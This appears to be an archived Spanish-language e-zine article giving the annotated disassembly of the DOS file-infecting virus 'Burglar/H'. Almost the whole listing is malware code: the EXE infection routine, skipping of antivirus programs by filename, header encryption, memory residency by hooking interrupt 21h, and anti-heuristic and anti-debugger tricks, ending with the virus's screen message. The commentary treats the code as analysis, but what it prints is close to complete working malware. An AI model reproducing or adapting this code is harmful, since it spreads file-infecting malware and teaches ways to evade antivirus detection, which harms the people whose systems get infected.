home *** CD-ROM | disk | FTP | other *** search
- *cM...Continuación del desensamblaje de BURGLAR*cG
-
- ;;; Rutina de infección.
-
- 0FF1:0182 0E PUSH CS ; CS = ES
- 0FF1:0183 07 POP ES
- 0FF1:0184 2E CS:
- 0FF1:0185 8B362505 MOV SI,[0525] ; En SI el final de la cadena del
- ; nombre del archivo.
- 0FF1:0189 BF0E04 MOV DI,040E ; En DI, zona de datos.
- 0FF1:018C AD LODSW ; Carga en AX el primer word de la
- ; cadena del nombre
- 0FF1:018D B90700 MOV CX,0007 ; En CX, 0007
- 0FF1:0190 F2 REPNZ ; Repite una comparativa entre AX
- 0FF1:0191 AF SCASW ; y DI 7 veces o hasta que la se-
- ; cuencia en DI sea igual a la de
- ; AX. De esta manera evita infectar
- ; los archivos que empiecen por o
- ; contengan las combinaciones 'CL'
- ; (no sé qué anti-virus - algo con
- ; "clean, será), 'HW' (se supone
- ; que es para el AnyWhere, pero es-
- ; tá al revés), 'TB' (Thunderbyte),
- ; 'F-' (F-Prot), 'WC' y 'TK'
- 0FF1:0192 7417 JZ 01AB ; Si existe la combinación, termina
- 0FF1:0194 2E CS: ; En SI, el inicio de la cadena de
- 0FF1:0195 8B362505 MOV SI,[0525] ; nuevo.
- 0FF1:0199 AC LODSB ; Carga en AL el inicio de la cade-
- ; na.
- 0FF1:019A 3C00 CMP AL,00 ; Comprueba si es fin de cadena
- 0FF1:019C 740A JZ 01A8 ; Si lo es, salta
- 0FF1:019E 3C56 CMP AL,56 ; Comprueba si son los caracteres
- 0FF1:01A0 7409 JZ 01AB ; 'V' o 'S', y si lo son acaba.
- 0FF1:01A2 3C53 CMP AL,53
- 0FF1:01A4 7405 JZ 01AB
- 0FF1:01A6 EBF1 JMP 0199 ; Salta a 0199 si no se ha cumplido
- ; lo anterior y vuelve a repetir el
- ; proceso.
- 0FF1:01A8 E80100 CALL 01AC ; Rutina
- 0FF1:01AB C3 RET ; Retorna
-
- ; Desde :01A8
- 0FF1:01AC 8CDB MOV BX,DS ; En BX, el DS de la cadena
- 0FF1:01AE 33C0 XOR AX,AX ; AX = 0
- 0FF1:01B0 8ED8 MOV DS,AX ; En DS, 0
- 0FF1:01B2 FF369000 PUSH [0090] ; Guarda el puntero de la interrup-
- 0FF1:01B6 FF369200 PUSH [0092] ; ción 24h
- 0FF1:01BA C70690002B04 MOV WORD PTR [0090],042B ; Lo direcciona hacia su
- 0FF1:01C0 8C0E9200 MOV [0092],CS ; propia rutina.
- 0FF1:01C4 8EDB MOV DS,BX ; Recupera el anterior DS
- 0FF1:01C6 B84300 MOV AX,0043 ; En AX el valor 0043h
- 0FF1:01C9 E8E1FE CALL 00AD ; Rutina para ejecutar la interrup-
- ; ción 21h intercambiando los valo-
- ; res de AH y AL (método anti-heu-
- ; rístico. Así, a ojos del anti-vi-
- ; rus se verá la función 00 de la
- ; int 21h, no la función 43h).
- ; Total, coge los atributos del ar-
- ; chivo.
- 0FF1:01CC 1E PUSH DS ; Guarda DS, DX y CX
- 0FF1:01CD 52 PUSH DX
- 0FF1:01CE 51 PUSH CX
- 0FF1:01CF 33C9 XOR CX,CX ; Pone a 0 los atributos del arch.
- 0FF1:01D1 B84301 MOV AX,0143
- 0FF1:01D4 E8D6FE CALL 00AD
- 0FF1:01D7 7308 JNB 01E1 ; Si puede, sigue en :01E1
- 0FF1:01D9 2E CS:
- 0FF1:01DA FE063405 INC BYTE PTR [0534] ; Incrementa el byte en :0534
- ; para indicar al virus que
- ; ha habido un error
- 0FF1:01DE EB65 JMP 0245 ; Salta al final
- 0FF1:01E0 90 NOP ; NOP insertado por el TASM v1.0
- ; Al parecer, el TASM siempre asig-
- ; na 3 bytes a los saltos, pero si
- ; éstos son de 2 bytes, el compila-
- ; dor lo rellena con un NOP.
-
- 0FF1:01E1 B83D02 MOV AX,023D ; Función 'Abrir Handle'
- 0FF1:01E4 E8C6FE CALL 00AD ; Interrupción 21h
- 0FF1:01E7 7309 JNB 01F2 ; Si no hay error, continúa.
- 0FF1:01E9 2E CS:
- 0FF1:01EA FE063405 INC BYTE PTR [0534] ; Pone a 1 el byte de error
- 0FF1:01EE EB55 JMP 0245 ; Acaba
-
- 0FF1:01F0 90 NOP
- 0FF1:01F1 90 NOP
- 0FF1:01F2 93 XCHG BX,AX ; En BX el Handle
- 0FF1:01F3 B85700 MOV AX,0057 ; Obtiene la fecha del archivo
- 0FF1:01F6 E8B4FE CALL 00AD
- 0FF1:01F9 2E CS:
- 0FF1:01FA 890E2905 MOV [0529],CX ; Guarda en [0529] el primer word
- 0FF1:01FE 52 PUSH DX ; de la fecha, y en el Stack el 2º
- 0FF1:01FF 90 NOP
- 0FF1:0200 0E PUSH CS ; CS = DS
- 0FF1:0201 1F POP DS
- 0FF1:0202 0E PUSH CS ; CS = ES
- 0FF1:0203 07 POP ES
- 0FF1:0204 B03F MOV AL,3F ; Se leen en el archivo los prime-
- 0FF1:0206 BA7F04 MOV DX,047F ; ros 102 bytes
- 0FF1:0209 B96600 MOV CX,0066
- 0FF1:020C E89EFE CALL 00AD
- 0FF1:020F A17F04 MOV AX,[047F] ; En AX los dos primeros bytes
- 0FF1:0212 90 NOP
- 0FF1:0213 3D5A4D CMP AX,4D5A ; Comprueba si es la cadena 'MZ'
- 0FF1:0216 90 NOP
- 0FF1:0217 7409 JZ 0222 ; Si la es, continúa
- 0FF1:0219 3D4D5A CMP AX,5A4D ; Comprueba si es 'ZM'
- 0FF1:021C 90 NOP
- 0FF1:021D 7403 JZ 0222 ; Continúa si es ésta
- 0FF1:021F EB14 JMP 0235 ; Acaba si no es ninguna de las dos
- 0FF1:0221 90 NOP
- 0FF1:0222 A09304 MOV AL,[0493] ; Coge de la cabecera el primer by-
- ; te del IP del inicio del programa
- 0FF1:0225 3478 XOR AL,78 ; Le hace un XOR con 78h y lo com-
- 0FF1:0227 38069104 CMP [0491],AL ; para con el primer byte de la su-
- ; ma de control de la cabecera (es-
- ; to es la marca de infección).
- 0FF1:022B 7408 JZ 0235 ; Si coincide, termina
- 0FF1:022D EB2E JMP 025D ; Salta
- 0FF1:022F 90 NOP
- 0FF1:0230 830E29051D OR WORD PTR [0529],+1D ; Aquí sólo llegará si ha
- ; infectado con éxito un
- ; archivo. Si lo ha in-
- ; fectado, pone los se-
- ; gundos a 56-58.
- 0FF1:0235 5A POP DX ; Saca el registro DX anterior
- 0FF1:0236 8B0E2905 MOV CX,[0529] ; Saca CX (CX y DX son la fecha
- ; original)
- 0FF1:023A B85701 MOV AX,0157 ; Restaura la fecha original
- 0FF1:023D E86DFE CALL 00AD
- 0FF1:0240 B03E MOV AL,3E ; Cierra el Handle
- 0FF1:0242 E868FE CALL 00AD
- 0FF1:0245 B84301 MOV AX,0143 ; Restaura los atributos del archi-
- 0FF1:0248 59 POP CX ; vo
- 0FF1:0249 5A POP DX
- 0FF1:024A 1F POP DS
- 0FF1:024B E85FFE CALL 00AD
- 0FF1:024E 33C0 XOR AX,AX ; Restaura el puntero original de
- 0FF1:0250 8ED8 MOV DS,AX ; la interrupción 24h
- 0FF1:0252 8F069200 POP [0092]
- 0FF1:0256 8F069000 POP [0090]
- 0FF1:025A 0E PUSH CS
- 0FF1:025B 1F POP DS
- 0FF1:025C C3 RET ; Retorna
-
- ; Desde :022D
- 0FF1:025D BE7F04 MOV SI,047F ; En SI el inicio de la cabecera
- 0FF1:0260 90 NOP
- 0FF1:0261 C70627050000 MOV WORD PTR [0527],0000 ; Pone W[0527] a 0
-
- 0FF1:0267 8B543C MOV DX,[SI+3C] ; Coge una dirección de la cabece-
- 0FF1:026A 8B4C3E MOV CX,[SI+3E] ; ra de una zona no documentada y
- 0FF1:026D B80042 MOV AX,4200 ; sitúa allí el puntero de archivo
- 0FF1:0270 CD21 INT 21
- 0FF1:0272 B90200 MOV CX,0002 ; Lee 2 bytes
- 0FF1:0275 BA2705 MOV DX,0527
- 0FF1:0278 B43F MOV AH,3F
- 0FF1:027A CD21 INT 21
-
- 0FF1:027C 813E27054E45 CMP WORD PTR [0527],454E ; Comprueba si esa di-
- ; rección apunta a la
- ; cadena 'NE'
- 0FF1:0282 7502 JNZ 0286 ; Si no apunta, continúa
- 0FF1:0284 EBAF JMP 0235 ; Salta y acaba
-
- 0FF1:0286 B002 MOV AL,02 ; En AL el valor 02
- 0FF1:0288 E8C900 CALL 0354 ; Rutina para situar el puntero de
- ; archivo según AL. Ahora lo sitúa al
- ; final.
- 0FF1:028B 83FA06 CMP DX,+06 ; Comprueba si el tamaño del archivo
- ; es mayor de 458752 bytes
- 0FF1:028E 77A5 JA 0235 ; Si es mayor, acaba.
- 0FF1:0290 0BD2 OR DX,DX ; Mira si es menor de 65536, y si lo
- 0FF1:0292 7507 JNZ 029B ; es evita hacer lo siguiente.
- 0FF1:0294 3D0001 CMP AX,0100 ; Mira si el tamaño, entonces, es ma-
- ; yor de 256 bytes
- 0FF1:0297 7702 JA 029B ; Si es mayor, continúa
- 0FF1:0299 EB9A JMP 0235 ; Si no es, acaba
- 0FF1:029B 52 PUSH DX ; Guarda el tamaño del archivo en el
- 0FF1:029C 50 PUSH AX ; stack
- 0FF1:029D 8B4404 MOV AX,[SI+04] ; Pone en AX la longitud del ar-
- ; chivo DIV 512
- 0FF1:02A0 8B7C02 MOV DI,[SI+02] ; En DI la longitud MOD 512 (el
- ; resto de haber dividido el tama-
- ; ño entre 512)
- 0FF1:02A3 0BFF OR DI,DI ; Mira si DI es 0
- 0FF1:02A5 7401 JZ 02A8 ; Si es 0, evita hacer lo siguien-
- ; te
- 0FF1:02A7 48 DEC AX ; Decrementa AX porque la división
- ; era exacta.
- 0FF1:02A8 B90002 MOV CX,0200 ; Multiplica AX por 512 para sacar
- 0FF1:02AB F7E1 MUL CX ; el tamaño real del archivo, y des-
- 0FF1:02AD 03C7 ADD AX,DI ; pués le suma el resto al tamaño en
- 0FF1:02AF 83D200 ADC DX,+00 ; el par DX:AX, y le suma 1 más a DX
- ; si hay bandera de acarreo por reba-
- ; sar AX.
- 0FF1:02B2 5F POP DI ; Saca DI
- 0FF1:02B3 3BF8 CMP DI,AX ; Compara el tamaño que dice en la
- ; cabecera que tiene y el que real-
- ; mente tiene (este último obtenido
- ; por el puntero desplazado al final)
- 0FF1:02B5 5F POP DI ; Saca en DI el Hi-Word del tamaño
- ; del archivo
- 0FF1:02B6 75E1 JNZ 0299 ; Si no es igual, acaba
- 0FF1:02B8 3BFA CMP DI,DX ; Hace lo mismo con el Hi-Word del
- ; tamaño.
- 0FF1:02BA 75DD JNZ 0299 ; Si no es igual, acaba
- 0FF1:02BC 50 PUSH AX ; Guarda el tamaño del archivo y la
- 0FF1:02BD 52 PUSH DX ; dirección de inicio de la cabecera
- 0FF1:02BE 56 PUSH SI ; en memoria
- 0FF1:02BF BE8D04 MOV SI,048D ; Copia a :0403 diez bytes de la ca-
- 0FF1:02C2 BF0304 MOV DI,0403 ; becera a partir del byte 0E de ella
- 0FF1:02C5 B90A00 MOV CX,000A
- 0FF1:02C8 F3 REPZ
- 0FF1:02C9 A4 MOVSB
- 0FF1:02CA 5E POP SI ; Saca SI
- 0FF1:02CB 33FF XOR DI,DI ; Pone DI a 0
- 0FF1:02CD E81D01 CALL 03ED ; Rutina para encriptar esa zona de
- ; la cabecera. En ella se encuentran
- ; los registros SS:SP, el puntero al
- ; inicio del programa y datos de in-
- ; terés, y los encripta para que el
- ; "remover" del virus sea más dificil
- ; de programar
- 0FF1:02D0 B91000 MOV CX,0010 ; Pasa el tamaño del archivo de by-
- 0FF1:02D3 F7F1 DIV CX ; bytes a párrafos
- 0FF1:02D5 2B4408 SUB AX,[SI+08] ; Le resta el tamaño de la cabecera
- ; en párrafos (dato contenido en la
- ; cabecera).
- 0FF1:02D8 894416 MOV [SI+16],AX ; Pone el resultado como segmento
- ; de código inicial
- 0FF1:02DB 89166003 MOV [0360],DX ; En la instrucción de inicio
- ; MOV SI,0000 pone en 0000 el va-
- ; lor del IP del nuevo inicio del
- ; ejecutable.
- 0FF1:02DF 895414 MOV [SI+14],DX ; Pone el nuevo IP en la cabecera,
- ; que apunta al inicio del virus
- 0FF1:02E2 81C27E04 ADD DX,047E ; A DX le suma el tamaño del virus
- 0FF1:02E6 895410 MOV [SI+10],DX ; Lo guarda donde corresponde
- 0FF1:02E9 89440E MOV [SI+0E],AX ; Número máximo de párrafos necesi-
- ; tados adicionalmente = AX
- 0FF1:02EC 5A POP DX ; Saca el tamaño del archivo origi-
- 0FF1:02ED 58 POP AX ; nal
- 0FF1:02EE 057E04 ADD AX,047E ; Le suma el tamaño del virus
- 0FF1:02F1 83D200 ADC DX,+00 ; Le suma 1 a DX si hay rebosamien-
- ; to de AX
- 0FF1:02F4 B90002 MOV CX,0200 ; Lo divide entre 512
- 0FF1:02F7 F7F1 DIV CX
- 0FF1:02F9 0BD2 OR DX,DX ; Mira si el resto es 0, y en ese
- 0FF1:02FB 7401 JZ 02FE ; caso no incrementa AX
- 0FF1:02FD 40 INC AX ; Incrementa AX si el resto no ha
- ; sido 0
- 0FF1:02FE 894404 MOV [SI+04],AX ; Guarda en la cabecera el nuevo
- 0FF1:0301 895402 MOV [SI+02],DX ; tamaño.
- 0FF1:0304 8A4414 MOV AL,[SI+14] ; Coge el 1er. byte del puntero de
- 0FF1:0307 3478 XOR AL,78 ; inicio del programa y le hace un
- 0FF1:0309 884412 MOV [SI+12],AL ; XOR con 78h, y lo guarda en el
- ; word de suma de control de la ca-
- ; becera, que raramente se usa.
- 0FF1:030C 33D2 XOR DX,DX ; Ahora copia el virus al final del
- 0FF1:030E B97E04 MOV CX,047E ; archivo.
- 0FF1:0311 B440 MOV AH,40
- 0FF1:0313 CD21 INT 21
- 0FF1:0315 C606340503 MOV BYTE PTR [0534],03 ; Pone a 3 el byte de error
- 0FF1:031A B000 MOV AL,00 ; Pone el puntero al principio
- 0FF1:031C E83500 CALL 0354
- 0FF1:031F BA7F04 MOV DX,047F ; Escribe la cabecera modificada
- 0FF1:0322 B91800 MOV CX,0018
- 0FF1:0325 B440 MOV AH,40
- 0FF1:0327 CD21 INT 21
- 0FF1:0329 B42C MOV AH,2C ; Obtiene la hora
- 0FF1:032B CD21 INT 21
- 0FF1:032D 80F90E CMP CL,0E ; Mira si es el minuto 11 de cual-
- ; quier hora.
- 0FF1:0330 751F JNZ 0351 ; Si no lo es, acaba.
-
- ;;; Efecto del virus
- ;; Pone en pantalla el mensaje 'Burglar/H'
-
- 0FF1:0332 BE1E04 MOV SI,041E ; Dirección del mensaje
- 0FF1:0335 B800B8 MOV AX,B800 ; Dirección del segmento de la pan-
- ; talla en modo texto
- 0FF1:0338 8ED8 MOV DS,AX ; DS = B800
- 0FF1:033A 33FF XOR DI,DI ; DI a 0
- 0FF1:033C B90900 MOV CX,0009 ; CX = 9
- 0FF1:033F 2E CS:
- 0FF1:0340 8A04 MOV AL,[SI] ; Coge en AL el caracter en [041E]
- 0FF1:0342 46 INC SI ; Incrementa SI
- 0FF1:0343 8805 MOV [DI],AL ; Pone en DI el caracter
- 0FF1:0345 47 INC DI ; Incrementa DI
- 0FF1:0346 C6058F MOV BYTE PTR [DI],8F ; Pone un código de color
- 0FF1:0349 47 INC DI ; Incrementa DI
- 0FF1:034A E2F3 LOOP 033F ; Hace un loop 9 veces para escri-
- ; bir todo el mensaje
- 0FF1:034C B97777 MOV CX,7777 ; Hace un loop de espera (y dale
- ; con el 7777!)
- 0FF1:034F E2FE LOOP 034F
- 0FF1:0351 E9DCFE JMP 0230 ; Acaba
-
- ;; Rutina para situar el puntero de archivo en un handle
-
- 0FF1:0354 33C9 XOR CX,CX ; Sitúa el puntero según AL
- 0FF1:0356 33D2 XOR DX,DX
- 0FF1:0358 B442 MOV AH,42
- 0FF1:035A CD21 INT 21
- 0FF1:035C C3 RET ; Retorna
-
-
- ; INICIO DEL VIRUS
- ;------------------
-
- 0FF1:035D 90 NOP ; NOPs que no hacen nada
- 0FF1:035E 90 NOP
- 0FF1:035F BE0000 MOV SI,0000 ; SI = DI = 0 --> En realidad esto es
- ; el inicio del programa, puesto en
- ; el momento de la infección
- 0FF1:0362 8BFE MOV DI,SI
- 0FF1:0364 E88600 CALL 03ED ; LLamada a una rutina para desen-
- ; criptar una zona de la cabecera
- ; original, donde se guardan los pun-
- ; teros originales y los registros
- ; SS:SP originales.
-
- 0FF1:0367 56 PUSH SI ; Guarda SI
- 0FF1:0368 B430 MOV AH,30 ; En AH, 78h
- 0FF1:036A 80C448 ADD AH,48
- 0FF1:036D B0F0 MOV AL,F0 ; En AL, F0h
- 0FF1:036F 86E0 XCHG AH,AL ; AX = F078h
- 0FF1:0371 CD21 INT 21 ; Comprueba si está instalado en me-
- ; moria.
- 0FF1:0373 0BC0 OR AX,AX
- 0FF1:0375 7451 JZ 03C8 ; Si AX es 0, salta.
-
- ; Instalación en memoria
- 0FF1:0377 BF7777 MOV DI,7777 ; En DI, 7777h
- 0FF1:037A 90 NOP
- 0FF1:037B 4F DEC DI ; DI = 7776h
- 0FF1:037C 90 NOP
- 0FF1:037D 90 NOP
- 0FF1:037E 75FA JNZ 037A ; Si no es 0, salta de nuevo a decre-
- ; mentar (esto es un debugger trap)
- 0FF1:0380 1E PUSH DS ; Guarda DS
- 0FF1:0381 8CC3 MOV BX,ES
- 0FF1:0383 4B DEC BX
- 0FF1:0384 8EDB MOV DS,BX ; Obtiene el offset del MCB del ar-
- ; chivo.
-
- 0FF1:0386 BB0200 MOV BX,0002 ; En BX, 0002h - Esto que hace son
- ; trucos antiheurísticos. Un antivi-
- ; rus heurístico busca la instrucción
- ; CMP BYTE PTR [0000],5A , no lo que
- ; el autor del virus ha puesto. De la
- ; manera que está ahora, si se pusie-
- ; ra como flag, daría muchas falsas
- ; alarmas, puesto que es una cosa co-
- ; mún.
- 0FF1:0389 807FFE5A CMP BYTE PTR [BX-02],5A ; Comprueba si es el últi-
- ; mo MCB
- 0FF1:038D 7536 JNZ 03C5 ; Si no lo es, acaba la instalación.
- ; En CX, el tamaño del virus en párra-
- ; fos
- 0FF1:038F B95600 MOV CX,0056
- 0FF1:0392 294F01 SUB [BX+01],CX ; Resta a [0003] y a [0012] el ta-
- 0FF1:0395 294F10 SUB [BX+10],CX ; maño del virus (en párrafos)
- 0FF1:0398 8E4710 MOV ES,[BX+10] ; En ES, el segmento reservado ob-
- ; tenido
- 0FF1:039B 33C0 XOR AX,AX
- 0FF1:039D 8ED8 MOV DS,AX ; DS = 0
- 0FF1:039F C5878200 LDS AX,[BX+0082] ; En el par DS:AX la dirección de
- ; la interrupción 21h
- 0FF1:03A3 2E CS:
- 0FF1:03A4 8984A700 MOV [SI+00A7],AX ; Guarda en 00A7 el Lo-Word de la
- 0FF1:03A8 2E CS: ; int 21h
- 0FF1:03A9 8C9CA900 MOV [SI+00A9],DS ; Lo mismo con el Hi-Word
-
- 0FF1:03AD 0E PUSH CS ; CS = DS
- 0FF1:03AE 1F POP DS
- 0FF1:03AF 33FF XOR DI,DI ; DI a 0
- 0FF1:03B1 B93505 MOV CX,0535 ; En CX la cantidad de bytes a
- ; copiar (535h?)
- 0FF1:03B4 FC CLD
- 0FF1:03B5 F3 REPZ
- 0FF1:03B6 A4 MOVSB ; Copia el virus en el segmento
- ; reservado.
- 0FF1:03B7 8ED9 MOV DS,CX ; DS a 0
- 0FF1:03B9 FA CLI
- 0FF1:03BA 8C878400 MOV [BX+0084],ES ; Pone el puntero de
- 0FF1:03BE C78782005800 MOV WORD PTR [BX+0082],0058 ; la int 21h en la
- 0FF1:03C4 FB STI ; TVI apuntando a su
- ; propia rutina
- 0FF1:03C5 07 POP ES ; Saca ES
- 0FF1:03C6 06 PUSH ES ; DS = ES
- 0FF1:03C7 1F POP DS
- 0FF1:03C8 90 NOP
- 0FF1:03C9 5E POP SI ; Saca SI
- 0FF1:03CA 90 NOP
- 0FF1:03CB 8CC3 MOV BX,ES ; En BX, ES
- 0FF1:03CD 83C310 ADD BX,+10 ; Le suma 10h
- 0FF1:03D0 2E CS:
- 0FF1:03D1 019C0B04 ADD [SI+040B],BX ; Le suma BX al puntero del
- ; inicio real del EXE
- 0FF1:03D5 2E CS:
- 0FF1:03D6 019C0304 ADD [SI+0403],BX ; Lo mismo para el SS original
- 0FF1:03DA 2E CS:
- 0FF1:03DB 8E940304 MOV SS,[SI+0403] ; Recupera el par SS:SP del EXE
- 0FF1:03DF 2E CS: ; original
- 0FF1:03E0 8BA40504 MOV SP,[SI+0405]
- 0FF1:03E4 33C0 XOR AX,AX ; AX = 0
- 0FF1:03E6 33DB XOR BX,BX ; BX = 0
- 0FF1:03E8 2E CS:
- 0FF1:03E9 FFAC0904 JMP FAR [SI+0409] ; Salto al inicio real del EXE
-
- ; Desde :0364 y :02CD
- 0FF1:03ED 50 PUSH AX ; Guarda AX en el stack
- 0FF1:03EE 81C70304 ADD DI,0403 ; Suma a DI 403h
- 0FF1:03F2 B90A00 MOV CX,000A ; En CX, 000Ah
- 0FF1:03F5 B87677 MOV AX,7776 ; En AX, 7776h
- 0FF1:03F8 90 NOP ; NOP que, junto con el de abajo y
- ; de la manera que desencripta, evi-
- ; ta banderas heurísticas (en con-
- ; creto, el flag '#')
- 0FF1:03F9 2E CS:
- 0FF1:03FA 3105 XOR [DI],AX ; En CS:[DI] hace un XOR con 7776h
- 0FF1:03FC 47 INC DI ; Incrementa DI y vuelve a hacer el
- 0FF1:03FD 90 NOP ; XOR, así 10 veces.
- 0FF1:03FE E2F9 LOOP 03F9
- 0FF1:0400 58 POP AX ; Saca AX del Stack
- 0FF1:0401 C3 RET ; Retorna
-
- 0FF1:0402 90 NOP ; NOP (éste sí que es supérfluo)
-
- 0FF1:0403 7601 JBE 0406
- 0FF1:0405 0101 ADD [BX+DI],AX
- 0FF1:0407 0101 ADD [BX+DI],AX
- 0FF1:0409 0101 ADD [BX+DI],AX
- 0FF1:040B 0101 ADD [BX+DI],AX
- 0FF1:040D E743 OUT 43,AX ; 'CLHWTBF-WCTK'
- 0FF1:040F 4C DEC SP
- 0FF1:0410 48 DEC AX
- 0FF1:0411 57 PUSH DI
- 0FF1:0412 54 PUSH SP
- 0FF1:0413 42 INC DX
- 0FF1:0414 46 INC SI
- 0FF1:0415 2D5743 SUB AX,4357
- 0FF1:0418 54 PUSH SP
- 0FF1:0419 4B DEC BX
-
- 0FF1:041A 0000 ADD [BX+SI],AL
- 0FF1:041C 0000 ADD [BX+SI],AL
- 0FF1:041E 42 INC DX ; 'Burglar/H'
- 0FF1:041F 7572 JNZ 0493
- 0FF1:0421 67 DB 67
- 0FF1:0422 6C DB 6C
- 0FF1:0423 61 DB 61
- 0FF1:0424 722F JB 0455
- 0FF1:0426 48 DEC AX
- 0FF1:0427 2A2E2A00 SUB CH,[002A] ; '*.*'
- 0FF1:042B 32C0 XOR AL,AL ; Rutina de la interrupción 24h
- 0FF1:042D CF IRET
- ; Zona de datos
- 0FF1:042E 0000 ADD [BX+SI],AL
- 0FF1:0430 0000 ADD [BX+SI],AL
- 0FF1:0432 0000 ADD [BX+SI],AL
- 0FF1:0434 0000 ADD [BX+SI],AL
- 0FF1:0436 0000 ADD [BX+SI],AL
- 0FF1:0438 0000 ADD [BX+SI],AL
- 0FF1:043A 0000 ADD [BX+SI],AL
- 0FF1:043C 0000 ADD [BX+SI],AL
- 0FF1:043E 0000 ADD [BX+SI],AL
- 0FF1:0440 0000 ADD [BX+SI],AL
- 0FF1:0442 0000 ADD [BX+SI],AL
- 0FF1:0444 0000 ADD [BX+SI],AL
- 0FF1:0446 0000 ADD [BX+SI],AL
- 0FF1:0448 0000 ADD [BX+SI],AL
- 0FF1:044A 0000 ADD [BX+SI],AL
- 0FF1:044C 0000 ADD [BX+SI],AL
- 0FF1:044E 0000 ADD [BX+SI],AL
- 0FF1:0450 0000 ADD [BX+SI],AL
- 0FF1:0452 0000 ADD [BX+SI],AL
- 0FF1:0454 0000 ADD [BX+SI],AL
- 0FF1:0456 0000 ADD [BX+SI],AL
- 0FF1:0458 0000 ADD [BX+SI],AL
- 0FF1:045A 0000 ADD [BX+SI],AL
- 0FF1:045C 0000 ADD [BX+SI],AL
- 0FF1:045E 0000 ADD [BX+SI],AL
- 0FF1:0460 0000 ADD [BX+SI],AL
- 0FF1:0462 0000 ADD [BX+SI],AL
- 0FF1:0464 78F0 JS 0456
- 0FF1:0466 0000 ADD [BX+SI],AL
- 0FF1:0468 1B04 SBB AX,[SI]
- 0FF1:046A 0E PUSH CS
- 0FF1:046B 0000 ADD [BX+SI],AL
- 0FF1:046D 0002 ADD [BP+SI],AL
- 0FF1:046F 0802 OR [BP+SI],AL
- 0FF1:0471 080670A3 OR [A370],AL
- 0FF1:0475 10810315 ADC [BX+DI+1503],AL
- 0FF1:0479 1B02 SBB AX,[BP+SI]
- 0FF1:047B 0800 OR [BX+SI],AL
- 0FF1:047D 0008 ADD [BX+SI],CL
- *cL
- Líyak el Oscuro.
-
-